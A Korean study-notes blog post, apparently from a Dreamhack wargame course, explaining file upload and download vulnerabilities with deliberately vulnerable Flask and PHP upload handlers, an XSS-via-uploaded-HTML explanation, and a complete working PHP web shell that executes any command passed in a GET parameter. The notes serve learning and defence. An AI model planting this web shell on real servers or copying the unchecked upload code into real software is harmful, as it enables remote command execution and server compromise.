File Upload Vulnerability

공격자의 파일을 웹서비스 파일 시스템에 업로드하는 과정에서 발생

파일 시스템 상의 임의 경로에 원하는 파일 업로드, 악성 확장자 갖는 파일업로드 할 떄 발생

원하는 시스템 커맨드르 실행하는 원격 코드 실행 취약점을 유발

이용자가 업로드 될 파일 이름을 임의로 정할 수 있을 때 발생


Path Traversal 취약점 : 업로드에 존재하는 제약을 우회하여, 임의 디렉토리에 파일을 업로드할 수 있는 취약점

from flask import Flask, request
app = Flask(__name__)
@app.route('/fileUpload', methods = ['GET', 'POST'])
def upload_file():
	if request.method == 'POST':
		f = request.files['file']
		f.save("./uploads/" + f.filename)
		return 'Upload Success'
	else:
		return """
		<form action="/fileUpload" method="POST" enctype="multipart/form-data">
			<input type="file" name="file" />
			<input type="submit"/>
		</form>
		"""
if __name__ == '__main__':
	app.ru

./fileUpload는 POST 요청 받으면 클라이언트가 전송한 파일을 ./uploads에 저장함.

파일이름을 f.filename으로 그대로 사용해서 취약함. 공격자가 상위 디렉토리에 파일을 업로드 할 수 있음.

 

악성 파일 업로드 : 이용자가 파일 업로드할때, 제대로 검사하지 않을때 발생

- 웹쉘

웹서버는 .php, .jsp, .asp와 같은 확장자 파일을 Common Gateway Interface로 실행하고 결과를 이용자에게 반환함.

<FilesMatch ".+\.ph(p[3457]?|t|tml)$"> SetHandler application/x-httpd-php</FilesMatch>

파일의 확장자가 정규표현식을 만족하면 x-httpd-php로 핸들링하게 하는 Apache설정파일임.

x-httpd-php는 PHP엔진이고 요청한 파일을 실행하고 그 결과를 반환함. 

=> 많은 웹서버들이 php파일에 대해 위처럼 핸들링 지원 → 공격자가 임의의 php 소스 파일을 .php확장자로 업로드하고 GET요청 보낼 수 있으면 CGI에 의해 해당 코드 실행되도록 가능

 

- 악의적인 웹 리소스

웹 브라우저는 파일의 확장자나 응답의 Content-Type에 따라 요청을 다양하게 처리함

ex) 

  • 요청한 파일의 확장자가 .html이거나, 반환된 content-type헤더가 text/html일 경우 응답은 HTML엔진으로 처리 <..??
  • 파일 확장자가 .png, .jpg등의 이미지 확장자, content-type이 image/png일 경우에 이미지로 렌더링됨.
  •  공격자가 서버에 exploit.html을 업로드하고 이에 접근하는 URL이 https://dreamhack.io/uploads/exploit.html이면 브라우저는 html로 해석함. → exploit.html에 악의적인 스크립트 삽입시, XSS공격으로 이어질 수 있음.

File Download Vulnerability

웹 서비스의 파일 시스템에 존재하는 파일을 다운하는 과정에서 발생

공격자는 웹 서비스의 파일시스템에 존재하는 임의의 파일 다운로드 가능

설정파일, 패스워드파일, 데이터베이스 백업 본 등을 다운해서 민감한 정보 탈취, 2차 공격 수행 가능

 이용자가 다운로드할 파일 이름을 임의로 정할 수 있을 때 발생


image-storage

 

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

업로드 파일에 대해 검사하지 않음 → 웹 쉘 업로드 공격에 취약

 

//(출처: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 ) 
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre></body></html>

+ Recent posts